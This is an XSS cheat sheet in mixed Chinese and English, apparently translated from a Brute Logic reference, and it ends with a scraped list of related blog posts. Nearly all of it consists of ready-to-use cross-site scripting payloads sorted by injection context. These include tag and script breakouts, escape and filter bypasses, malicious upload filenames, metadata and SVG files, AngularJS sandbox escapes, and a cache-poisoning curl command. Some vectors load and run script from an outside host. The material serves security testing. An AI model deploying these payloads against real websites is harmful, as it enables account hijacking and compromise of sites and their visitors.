XSS Cheat Sheet

BASICS

  • HTML注入

    当输入位于HTML标记的属性值内或标记的外部(下一种情况中描述的标记除外)时使用。如果输入在HTML注释中,则在payload前加上“-->”
<svg onload=alert(1)>
"><svg onload=alert(1)>
  • HTML注入-标签块突破

​ 当输入落在以下标签的内部或打开/关闭之间时使用:

<title><style><script><textarea><noscript><pre><xmp><iframe>

</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
  • HTML注入-内联

​ 当输入落在HTML标记的属性值内,但该标记不能以大于号(>)结束时使用

"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
  • HTML注入-源文件

​ 当输入作为下列HTML标记属性的值:href、src、data或action(也包括formaction)时使用。脚本标记中的Src属性可以是URL或“data:,alert(1)”。

javascript:alert(1)
  • Javascript注入

    当输入位于脚本块中,在字符串分隔的值内时使用

'-alert(1)-'
'/alert(1)//
  • Javascript Injection - Escape Bypass

    当输入位于脚本块中,在字符串分隔值内,但引号用反斜杠转义时使用。

\'/alert(1)//
  • Javascript Injection – Script Breakout
</script><svg onload=alert(1)>

ADVANCED

  • Javascript Injection - Logical Block

当输入在脚本块中、在字符串分隔值中、在单个逻辑块(如函数或条件块)(if、else等)中着陆时,使用payload1或payload2。如果引号用反斜杠转义,请使用payload3。

'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
  • Javascript Injection - Quoteless

​ 使用时,有多个反射在同一行JS代码

/alert(1)//\
/alert(1)}//\
  • Javascript上下文——模板文字中的占位符注入

当输入位于用反号(' ')分隔的字符串内或在模板引擎中时使用

${alert(1)}
  • 多反射HTML注入-双反射(单输入)

用于利用同一页面上的多个反射

'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
  • 多反射HTML注入-三反射(单输入)

    用于利用同一页面上的多个反射。
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
  • Multi Input Reflections HTML Injection - Double & Triple(多次输入)
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
  • File Upload Injection – Filename

当上传的文件名在目标页的某个地方反映出来时使用。

"><svg onload=alert(1)>.gif
  • File Upload Injection – Metadata

Use when metadata of uploaded file is reflected somewhere in target page. It uses

command-line exiftool (“$” is the terminal prompt) and any metadata field can be set.

当上传文件的元数据在目标页面某处反映时使用。它使用命令行exiftool($是终端提示符),可以设置任何元数据字段。

$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg
  • File Upload Injection – SVG File

用于在上传图像文件时在目标上创建存储的XSS。将下面的内容保存为

“xss.svg”。

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
  • DOM Insert Injection
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
  • DOM Insert Injection – Resource Request

本机javascript代码将请求的结果插入到可由攻击者控制的URL中时使用。

data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
  • PHP Self URL Injection

当前URL被目标的底层PHP代码用作属性值时使用

例如,HTML表单。在php扩展和查询部分(?)的开始之间使用斜杠(/)注入。

https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader
  • Markdown Vector

用于文本框、注释部分等允许某些标记输入的地方。 Click to fire.

[clickme](javascript:alert1)

[clickme](javascript:alert`1`)
  • Script Injection - No Closing Tag

Use when there’s a closing script tag (</script>) somewhere in the code after reflection.

<script src=data:,alert(1)>
<script src=//brutelogic.com.br/1.js>
  • Javascript postMessage() DOM Injection (with Iframe)

Use when there’s a “message” event listener like in “window.addEventListener(‘message’, ...)”

in javascript code without a check for origin. Target must be able to be framed (X-Frame

Options header according to context). Save as HTML file (or using data:text/html) providing

TARGET_URL and INJECTION (a XSS vector or payload).

<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
  • XML-Based XSS

Use to inject XSS vector in a XML page (content types text/xml or application/xml).

Prepend a “-->” to payload if input lands in a comment section or “]]>” if input lands in a

CDATA section.

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
  • AngularJS Injections (v1.6 and up)

Use when there’s an AngularJS library loaded in page, inside an HTML block with ng-app

directive (1 st payload) or creating your own (2 nd one).

{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}
  • Onscroll Universal Vector Onscroll通用矢量

当使用onscroll事件处理程序时,用于XSS而不需要用户交互。

It works with

address, blockquote, body, center, dir, div, dl, dt, form, li, menu, ol, p, pre, ul, and h1 to h6

HTML tags.

<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
  • Type Juggling

    Use to pass an “if” condition matching a number in loose comparisons.

1<svg onload=alert(1)>
1"><svg onload=alert(1)>
  • XSS in SSI

    Use when there’s a Server-Side Include (SSI) injection.
<<!--%23set var="x" value="svg onload=alert(1)"--><!--%23echo var="x"-->>
  • SQLi Error-Based XSS

用于可以触发SQL错误消息的端点(使用引号或反斜杠)。

'1<svg onload=alert(1)>
<svg onload=alert(1)>\
  • Injection in JSP Path

Use in JSP-based applications in the path of URL.

//DOMAIN/PATH/;<svg onload=alert(1)>
//DOMAIN/PATH/;"><svg onload=alert(1)>
  • JS Injection - ReferenceError Fix

用于修正一些挂起的javascript代码的语法。检查控制台标签在浏览器

开发工具(F12)为各自的ReferenceError和替换相应的var和函数名。

(Use to fix the syntax of some hanging javascript code. Check console tab in Browser

Developer Tools (F12) for the respective ReferenceError and replace var and function

names accordingly.)

';alert(1);var myObj='
';alert(1);function myFunc(){}'
  • Bootstrap Vector (up to v3.4.0)

Use when there’s a bootstrap library present on page. It also bypass Webkit Auditor, just

click anywhere in page to trigger. Any char of href value can be HTML encoded do bypass

filters.

<html data-toggle=tab href="<img src=x onerror=alert(1)>">
  • Browser Notification

用作提示、提示和确认弹出窗口的另一种选择。它需要用户接受(第1个有效载荷),但是一旦用户之前为该站点进行了授权,就可以使用第2个有效载荷。

Notification.requestPermission(x=>{new(Notification)(1)})
new(Notification)(1)
  • XSS in HTTP Header - Cached

Use to store a XSS vector in application by using the MISS-MISS-HIT cache scheme (if

there’s one in place). Replace with your respective vector and TARGET with a dummy

string to avoid the actual cached version of the page. Fire the same request 3 times.

$ curl -H "Vulnerable_Header: <XSS>" TARGET/?dummy_string

XSS Cheat Sheet(basics and advanced)的更多相关文章

  1. XSS Cheat Sheet

    Basic and advanced exploits for XSS proofs and attacks. Work in progress, bookmark it. Technique Vec ...

  2. XSS Filter Evasion Cheat Sheet 中文版

    前言 译者注: 翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值.但是这么著名的一个备忘录却一直没有人把它翻译成中文版.很多人仅仅是简单的把文中的 各种代码复制下来,然后看起来很刁的发在 ...

  3. XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)

    本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sh ...

  4. Racket Cheat Sheet

    Racket Cheat Sheet 来源  http://docs.racket-lang.org/racket-cheat/index.html?q=Racket%20Cheat%20Sheet ...

  5. 转:PostgreSQL Cheat Sheet

    PostgreSQL Cheat Sheet CREATE DATABASE CREATE DATABASE dbName; CREATE TABLE (with auto numbering int ...

  6. Git Cheat Sheet

    Merge Undo git merge with conflicts $ git merge --abort Archive $ git archive --format zip --output ...

  7. CSS3 Animation Cheat Sheet:实用的 CSS3 动画库

    CSS3 Animation Cheat Sheet 是一组预设的动画库,为您的 Web 项目添加各种很炫的动画.所有你需要做的是添加样式表到你的网站,为你想要添加动画效果的元素应用预制的 CSS 类 ...

  8. IOS Application Security Testing Cheat Sheet

    IOS Application Security Testing Cheat Sheet    [hide]  1 DRAFT CHEAT SHEET - WORK IN PROGRESS 2 Int ...

  9. HTML5 Cheat sheet PNG帮助手册(标签、事件、兼容)

    HTML5 Cheat sheet PNG帮助手册(标签.事件.兼容) 1.HTML5标签 2.HTML5事件 3.HTML5兼容 最新HTML5手册资料请参考:http://www.inmotion ...

随机推荐

  1. spring boot 源码赏析之事件监听

    使用spring Boot已经快1年多了,期间一直想点开springboot源码查看,但由于种种原因一直未能如愿(主要是人类的惰性...),今天就拿springboot 的监听事件祭刀. spring ...

  2. 【poj 2429】GCD & LCM Inverse (Miller-Rabin素数测试和Pollard_Rho_因数分解)

    本题涉及的算法个人无法完全理解,在此提供两个比较好的参考. 原理 (后来又看了一下,其实这篇文章问题还是有的……有时间再搜集一下资料) 代码实现 #include <algorithm> ...

  3. windows使用的奇淫技巧

    找回刚才打开的网页 记事本 特殊符号输入 窗口变化为1/2,1/4 批量重命名 复制文件路径 万能命令

  4. C#中的字符串处理

    C#中的字符串处理 是由多个单个字符组成的.字符串的关键字是string,而我们单个字符char型.也就是一个字符串可以分为很多个char的字符.注意 同时,我们在开发项目或者学习时.更多的操作不是数 ...

  5. ㊙力荐!!!那些炒鸡有用的chrome插件㊙

    今天咱们来说一说那些炒鸡

  6. MFC 工具栏ToolBar

    一.创建工具栏 1.在MFC工程,找到“资源视图”界面,右键添加资源,选择Toolbar,点击新建: 2.修改工具条属性: 3.添加工具: 新建ToolBar后,会自动生成一个工具,编辑ID后,工具条 ...

  7. Light of future-冲刺Day 1

    目录 归属班级 →2019秋福大软件工程实践Z班 作业要求 →团队作业第五次-项目冲刺 团队名称 未来之光 这个作业的目标 第一天的冲刺总结 作业正文 →Light of future-冲刺Day 1 ...

  8. 1031 Hello World for U (20分)

    Given any string of N (≥) characters, you are asked to form the characters into the shape of U. For ...

  9. php数据库应用程序建议

    一.保持独立的读写连接 开始就创建两个数据库连接是一个好的方法,一个用于读取,一个用于写入,并且允许不同的数据库服务器连接他们.如果只有一个服务器,则将它们设置彼此相同. 当操作为INSERT, UP ...

  10. 【Linux】Linux(一)Linux常用命令

    一 命令行提示符 1.[root@localhost ~]# 当前登录用户@主机名:当前所在目录$ # 超级用户 $  普通用户 当前所在目录:~ 用户家目录 管理员 /root 普通用户 /home ...